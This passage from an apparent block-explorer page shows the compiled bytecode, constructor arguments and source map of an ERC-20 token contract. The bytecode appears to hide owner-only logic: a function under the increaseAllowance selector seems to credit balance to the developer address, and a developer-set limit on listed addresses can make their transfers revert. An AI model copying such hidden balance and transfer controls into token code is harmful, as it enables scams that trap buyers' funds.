610ea19190611ced565b6040516020818303038152906040528051906020012090508082149250505092915050565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f0f9190611d07565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808214610f6f578183610f689190611a7d565b9050610f73565b8190505b92915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110678360055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b15611294575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906119ca565b60405180910390fd5b5f81141560025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160146101000a81548160ff0219169083151502179055505f81146111bd578160025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061123b565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160146101000a81548160ff0219169083151502179055505b505050565b5f806112a4856104a9565b90505f8111156112f1578082116112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790611d84565b60405180910390fd5b5b6113598560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b156113fc578160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113a79190611a7d565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095491506113f78583610ec6565b611487565b8160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114459190611a7d565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114ca5780820151818401526020810190506114af565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6114ef82611493565b6114f9818561149d565b93506115098185602086016114ad565b611512816114d5565b840191505092915050565b5f6020820190508181035f83015261153581846114e5565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115778261154e565b9050919050565b6115878161156d565b8114611591575f80fd5b50565b5f813590506115a28161157e565b92915050565b5f819050919050565b6115ba816115a8565b81146115c4575f80fd5b50565b5f813590506115d5816115b1565b92915050565b5f80604083850312156115f1576115f0611546565b5b5f6115fe85828601611594565b925050602061160f858286016115c7565b9150509250929050565b5f8115159050919050565b61162d81611619565b82525050565b5f6020820190506116465f830184611624565b92915050565b611655816115a8565b82525050565b5f60208201905061166e5f83018461164c565b92915050565b5f805f6060848603121561168b5761168a611546565b5b5f61169886828701611594565b93505060206116a986828701611594565b92505060406116ba868287016115c7565b9150509250925092565b5f602082840312156116d9576116d8611546565b5b5f6116e684828501611594565b91505092915050565b5f60ff82169050919050565b611704816116ef565b82525050565b5f60208201905061171d5f8301846116fb565b92915050565b61172c8161156d565b82525050565b5f6020820190506117455f830184611723565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611785826114d5565b810181811067ffffffffffffffff821117156117a4576117a361174f565b5b80604052505050565b5f6117b661153d565b90506117c2828261177c565b919050565b5f67ffffffffffffffff8211156117e1576117e061174f565b5b602082029050602081019050919050565b5f80fd5b5f611808611803846117c7565b6117ad565b9050808382526020820190506020840283018581111561182b5761182a6117f2565b5b835b8181101561185457806118408882611594565b84526020840193505060208101905061182d565b5050509392505050565b5f82601f8301126118725761187161174b565b5b81356118828482602086016117f6565b91505092915050565b5f80604083850312156118a1576118a0611546565b5b5f83013567ffffffffffffffff8111156118be576118bd61154a565b5b6118ca8582860161185e565b92505060206118db858286016115c7565b9150509250929050565b5f80604083850312156118fb576118fa611546565b5b5f61190885828601611594565b925050602061191985828601611594565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061196757607f821691505b60208210810361197a57611979611923565b5b50919050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f6119b4600f8361149d565b91506119bf82611980565b602082019050919050565b5f6020820190508181035f8301526119e1816119a8565b9050919050565b7f496e76616c696420616d6f756e740000000000000000000000000000000000005f82015250565b5f611a1c600e8361149d565b9150611a27826119e8565b602082019050919050565b5f6020820190508181035f830152611a4981611a10565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a87826115a8565b9150611a92836115a8565b9250828201905080821115611aaa57611aa9611a50565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ae460208361149d565b9150611aef82611ab0565b602082019050919050565b5f6020820190508181035f830152611b1181611ad8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611b4f826115a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b8157611b80611a50565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611be660258361149d565b9150611bf182611b8c565b604082019050919050565b5f6020820190508181035f830152611c1381611bda565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611c7460268361149d565b9150611c7f82611c1a565b604082019050919050565b5f6020820190508181035f830152611ca181611c68565b9050919050565b5f8160601b9050919050565b5f611cbe82611ca8565b9050919050565b5f611ccf82611cb4565b9050919050565b611ce7611ce28261156d565b611cc5565b82525050565b5f611cf88284611cd6565b60148201915081905092915050565b5f611d11826115a8565b9150611d1c836115a8565b9250828203905081811115611d3457611d33611a50565b5b92915050565b7f45524332303a2063726f737320616d6f756e742069732077726f6e67000000005f82015250565b5f611d6e601c8361149d565b9150611d7982611d3a565b602082019050919050565b5f6020820190508181035f830152611d9b81611d62565b905091905056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220883ce2bd6a3dd3496c82f0cbe8437ca176c50f0d372c0cc25dc5cac872e55eb064736f6c63430008140033000000000000000000000000d3220713f15ea88ee5ebcc2f9b60296471d1bddf0000000000000000000000000000000000000000000000000000000077359400

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a082311161009557806395d89b411161006457806395d89b4114610285578063a9059cbb146102a3578063ae6b8c3f146102d3578063dd62ed3e146102ef576100f3565b806370a08231146101fd578063715018a61461022d5780638da5cb5b1461023757806390ec57f114610255576100f3565b806323b872dd116100d157806323b872dd146101635780632bd69e8914610193578063313ce567146101c357806339509351146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c919061151d565b60405180910390f35b61012f600480360381019061012a91906115db565b6103af565b60405161013c9190611633565b60405180910390f35b61014d6103cc565b60405161015a919061165b565b60405180910390f35b61017d60048036038101906101789190611674565b6103d5565b60405161018a9190611633565b60405180910390f35b6101ad60048036038101906101a891906116c4565b6104a9565b6040516101ba919061165b565b60405180910390f35b6101cb6104ef565b6040516101d8919061170a565b60405180910390f35b6101fb60048036038101906101f691906115db565b610504565b005b610217600480360381019061021291906116c4565b6106bd565b604051610224919061165b565b60405180910390f35b610235610703565b005b61023f61078a565b60405161024c9190611732565b60405180910390f35b61026f600480360381019061026a91906115db565b6107b1565b60405161027c9190611633565b60405180910390f35b61028d610817565b60405161029a919061151d565b60405180910390f35b6102bd60048036038101906102b891906115db565b6108a7565b6040516102ca9190611633565b60405180910390f35b6102ed60048036038101906102e8919061188b565b6108c4565b005b610309600480360381019061030491906118e5565b61099d565b604051610316919061165b565b60405180910390f35b60606006805461032e90611950565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90611950565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103c26103bb610a1f565b8484610a26565b6001905092915050565b5f600954905090565b5f6103e1848484610bb4565b61049e846103ed610a1f565b61049985604051806060016040528060298152602001611dca6029913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610450610a1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e109092919063ffffffff16565b610a26565b600190509392505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60085f9054906101000a900460ff16905090565b5f3390505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d906119ca565b60405180910390fd5b5f82116105b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105af90611a32565b60405180910390fd5b5f6105e68460055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b15610659576105f58282610ec6565b6105ff8184610f54565b90508060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461064d9190611a7d565b925050819055506106b7565b6106638282610ec6565b8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106af9190611a7d565b925050819055505b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61070b610a1f565b73ffffffffffffffffffffffffffffffffffffffff1661072961078a565b73ffffffffffffffffffffffffffffffffffffffff161461077f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077690611afa565b60405180910390fd5b6107885f610f79565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f803390506107c181858561103a565b60025f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160149054906101000a900460ff1691505092915050565b60606007805461082690611950565b80601f016020809104026020016040519081016040528092919081815260200182805461085290611950565b801561089d5780601f106108745761010080835404028352916020019161089d565b820191905f5260205f20905b81548152906001019060200180831161088057829003601f168201915b5050505050905090565b5f6108ba6108b3610a1f565b8484610bb4565b6001905092915050565b60055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091e575f80fd5b5f5b8251811015610998578160045f8584815181106109405761093f611b18565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808061099090611b45565b915050610920565b505050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610a8e57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490611bfc565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba7919061165b565b60405180910390a3505050565b610bbf838383611299565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610c2757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611c8a565b60405180910390fd5b610c7183838361148e565b610cdb81604051806060016040528060278152602001611da36027913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e109092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d659190611a7d565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e03919061165b565b60405180910390a3505050565b5f838311158290610e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4e919061151d565b60405180910390fd5b5082840390509392505050565b5f8083604051602001610e779190611ced565b6040516020818303038152906040528051906020012090505f83604051602001610ea19190611ced565b6040516020818303038152906040528051906020012090508082149250505092915050565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f0f9190611d07565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808214610f6f578183610f689190611a7d565b9050610f73565b8190505b92915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110678360055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b15611294575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906119ca565b60405180910390fd5b5f81141560025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160146101000a81548160ff0219169083151502179055505f81146111bd578160025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061123b565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160146101000a81548160ff0219169083151502179055505b505050565b5f806112a4856104a9565b90505f8111156112f1578082116112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790611d84565b60405180910390fd5b5b6113598560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b156113fc578160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113a79190611a7d565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095491506113f78583610ec6565b611487565b8160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114459190611a7d565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114ca5780820151818401526020810190506114af565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6114ef82611493565b6114f9818561149d565b93506115098185602086016114ad565b611512816114d5565b840191505092915050565b5f6020820190508181035f83015261153581846114e5565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115778261154e565b9050919050565b6115878161156d565b8114611591575f80fd5b50565b5f813590506115a28161157e565b92915050565b5f819050919050565b6115ba816115a8565b81146115c4575f80fd5b50565b5f813590506115d5816115b1565b92915050565b5f80604083850312156115f1576115f0611546565b5b5f6115fe85828601611594565b925050602061160f858286016115c7565b9150509250929050565b5f8115159050919050565b61162d81611619565b82525050565b5f6020820190506116465f830184611624565b92915050565b611655816115a8565b82525050565b5f60208201905061166e5f83018461164c565b92915050565b5f805f6060848603121561168b5761168a611546565b5b5f61169886828701611594565b93505060206116a986828701611594565b92505060406116ba868287016115c7565b9150509250925092565b5f602082840312156116d9576116d8611546565b5b5f6116e684828501611594565b91505092915050565b5f60ff82169050919050565b611704816116ef565b82525050565b5f60208201905061171d5f8301846116fb565b92915050565b61172c8161156d565b82525050565b5f6020820190506117455f830184611723565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611785826114d5565b810181811067ffffffffffffffff821117156117a4576117a361174f565b5b80604052505050565b5f6117b661153d565b90506117c2828261177c565b919050565b5f67ffffffffffffffff8211156117e1576117e061174f565b5b602082029050602081019050919050565b5f80fd5b5f611808611803846117c7565b6117ad565b9050808382526020820190506020840283018581111561182b5761182a6117f2565b5b835b8181101561185457806118408882611594565b84526020840193505060208101905061182d565b5050509392505050565b5f82601f8301126118725761187161174b565b5b81356118828482602086016117f6565b91505092915050565b5f80604083850312156118a1576118a0611546565b5b5f83013567ffffffffffffffff8111156118be576118bd61154a565b5b6118ca8582860161185e565b92505060206118db858286016115c7565b9150509250929050565b5f80604083850312156118fb576118fa611546565b5b5f61190885828601611594565b925050602061191985828601611594565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061196757607f821691505b60208210810361197a57611979611923565b5b50919050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f6119b4600f8361149d565b91506119bf82611980565b602082019050919050565b5f6020820190508181035f8301526119e1816119a8565b9050919050565b7f496e76616c696420616d6f756e740000000000000000000000000000000000005f82015250565b5f611a1c600e8361149d565b9150611a27826119e8565b602082019050919050565b5f6020820190508181035f830152611a4981611a10565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a87826115a8565b9150611a92836115a8565b9250828201905080821115611aaa57611aa9611a50565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ae460208361149d565b9150611aef82611ab0565b602082019050919050565b5f6020820190508181035f830152611b1181611ad8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611b4f826115a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b8157611b80611a50565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611be660258361149d565b9150611bf182611b8c565b604082019050919050565b5f6020820190508181035f830152611c1381611bda565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611c7460268361149d565b9150611c7f82611c1a565b604082019050919050565b5f6020820190508181035f830152611ca181611c68565b9050919050565b5f8160601b9050919050565b5f611cbe82611ca8565b9050919050565b5f611ccf82611cb4565b9050919050565b611ce7611ce28261156d565b611cc5565b82525050565b5f611cf88284611cd6565b60148201915081905092915050565b5f611d11826115a8565b9150611d1c836115a8565b9250828203905081811115611d3457611d33611a50565b5b92915050565b7f45524332303a2063726f737320616d6f756e742069732077726f6e67000000005f82015250565b5f611d6e601c8361149d565b9150611d7982611d3a565b602082019050919050565b5f6020820190508181035f830152611d9b81611d62565b905091905056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220883ce2bd6a3dd3496c82f0cbe8437ca176c50f0d372c0cc25dc5cac872e55eb064736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000d3220713f15ea88ee5ebcc2f9b60296471d1bddf0000000000000000000000000000000000000000000000000000000077359400

-----Decoded View---------------
Arg [0] : dev_ (address): 0xd3220713f15EA88Ee5ebcc2F9B60296471d1bDDf
Arg [1] : totalSupply_ (uint256): 2000000000

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000d3220713f15ea88ee5ebcc2f9b60296471d1bddf
Arg [1] : 0000000000000000000000000000000000000000000000000000000077359400


Deployed Bytecode Sourcemap

12855:7072:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13939:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14884:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14225:101;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15082:443;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19120:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14133:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17293:509;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14334:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12394:94;;;:::i;:::-;;11743:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18234:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14035:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14495:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18449:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14700:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13939:88;13984:13;14017:2;14010:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13939:88;:::o;14884:190::-;14987:4;15009:35;15014:12;:10;:12::i;:::-;15028:7;15037:6;15009:4;:35::i;:::-;15062:4;15055:11;;14884:190;;;;:::o;14225:101::-;14286:7;14313:5;;14306:12;;14225:101;:::o;15082:443::-;15222:4;15239:33;15246:6;15254:9;15265:6;15239;:33::i;:::-;15283:212;15302:6;15323:12;:10;:12::i;:::-;15350:134;15401:6;15350:134;;;;;;;;;;;;;;;;;:6;:14;15357:6;15350:14;;;;;;;;;;;;;;;:28;15365:12;:10;:12::i;:::-;15350:28;;;;;;;;;;;;;;;;:32;;:134;;;;;:::i;:::-;15283:4;:212::i;:::-;15513:4;15506:11;;15082:443;;;;;:::o;19120:114::-;19175:7;19202:15;:24;19218:7;19202:24;;;;;;;;;;;;;;;;19195:31;;19120:114;;;:::o;14133:84::-;14182:5;14207:2;;;;;;;;;;;14200:9;;14133:84;:::o;17293:509::-;17379:12;17394:10;17379:25;;17442:1;17423:21;;:7;:21;;;17415:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;17492:1;17483:6;:10;17475:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;17523:13;17555:26;17561:7;17570:4;:10;;;;;;;;;;;;17555:5;:26::i;:::-;17551:244;;;17598:17;17603:4;17609:5;17598:4;:17::i;:::-;17638:19;17643:5;17650:6;17638:4;:19::i;:::-;17630:27;;17690:5;17672;:14;17678:7;17672:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17551:244;;;17728:17;17733:4;17739:5;17728:4;:17::i;:::-;17778:5;17760;:14;17766:7;17760:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17551:244;17368:434;;17293:509;;:::o;14334:153::-;14433:7;14465:5;:14;14471:7;14465:14;;;;;;;;;;;;;;;;14458:21;;14334:153;;;:::o;12394:94::-;11974:12;:10;:12::i;:::-;11963:23;;:7;:5;:7::i;:::-;:23;;;11955:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12459:21:::1;12477:1;12459:9;:21::i;:::-;12394:94::o:0;11743:87::-;11789:7;11816:6;;;;;;;;;;;11809:13;;11743:87;:::o;18234:203::-;18297:4;18315:12;18330:10;18315:25;;18351:29;18361:4;18367;18373:6;18351:9;:29::i;:::-;18398:4;:10;18403:4;18398:10;;;;;;;;;;;;;;;:21;;;;;;;;;;;;18391:28;;;18234:203;;;;:::o;14035:90::-;14082:13;14115:2;14108:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14035:90;:::o;14495:197::-;14601:4;14623:39;14630:12;:10;:12::i;:::-;14644:9;14655:6;14623;:39::i;:::-;14680:4;14673:11;;14495:197;;;;:::o;18449:209::-;13802:4;:10;;;;;;;;;;;;13788:24;;:10;:24;;;13780:33;;;;;;18546:9:::1;18541:110;18565:8;:15;18561:1;:19;18541:110;;;18633:6;18602:15;:28;18618:8;18627:1;18618:11;;;;;;;;:::i;:::-;;;;;;;;18602:28;;;;;;;;;;;;;;;:37;;;;18582:3;;;;;:::i;:::-;;;;18541:110;;;;18449:209:::0;;:::o;14700:176::-;14814:7;14846:6;:13;14853:5;14846:13;;;;;;;;;;;;;;;:22;14860:7;14846:22;;;;;;;;;;;;;;;;14839:29;;14700:176;;;;:::o;720:98::-;773:7;800:10;793:17;;720:98;:::o;16967:318::-;17116:1;17099:19;;:5;:19;;;;:44;;;;;17141:1;17122:21;;:7;:21;;;;17099:44;17091:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17223:6;17198;:13;17205:5;17198:13;;;;;;;;;;;;;;;:22;17212:7;17198:22;;;;;;;;;;;;;;;:31;;;;17261:7;17245:32;;17254:5;17245:32;;;17270:6;17245:32;;;;;;:::i;:::-;;;;;;;;16967:318;;;:::o;15533:572::-;15662:35;15671:6;15679:9;15690:6;15662:8;:35::i;:::-;15734:1;15716:20;;:6;:20;;;;:47;;;;;15761:1;15740:23;;:9;:23;;;;15716:47;15708:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;15820:39;15833:6;15841:9;15852:6;15820:12;:39::i;:::-;15886:105;15918:6;15886:105;;;;;;;;;;;;;;;;;:5;:13;15892:6;15886:13;;;;;;;;;;;;;;;;:17;;:105;;;;;:::i;:::-;15870:5;:13;15876:6;15870:13;;;;;;;;;;;;;;;:121;;;;16040:6;16021:5;:16;16027:9;16021:16;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;16002:5;:16;16008:9;16002:16;;;;;;;;;;;;;;;:44;;;;16079:9;16062:35;;16071:6;16062:35;;;16090:6;16062:35;;;;;;:::i;:::-;;;;;;;;15533:572;;;:::o;8818:224::-;8938:7;8988:1;8983;:6;;8991:12;8975:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;9026:1;9022;:5;9015:12;;8818:224;;;;;:::o;17810:234::-;17877:4;17894:13;17937:4;17920:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;17910:33;;;;;;17894:49;;17954:13;17997:5;17980:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;17970:34;;;;;;17954:50;;18031:5;18022;:14;18015:21;;;;17810:234;;;;:::o;16853:106::-;16945:6;16931:5;:11;16937:4;16931:11;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;16917:5;:11;16923:4;16917:11;;;;;;;;;;;;;;;:34;;;;16853:106;;:::o;18052:174::-;18117:7;18149:1;18141:4;:9;18137:60;;18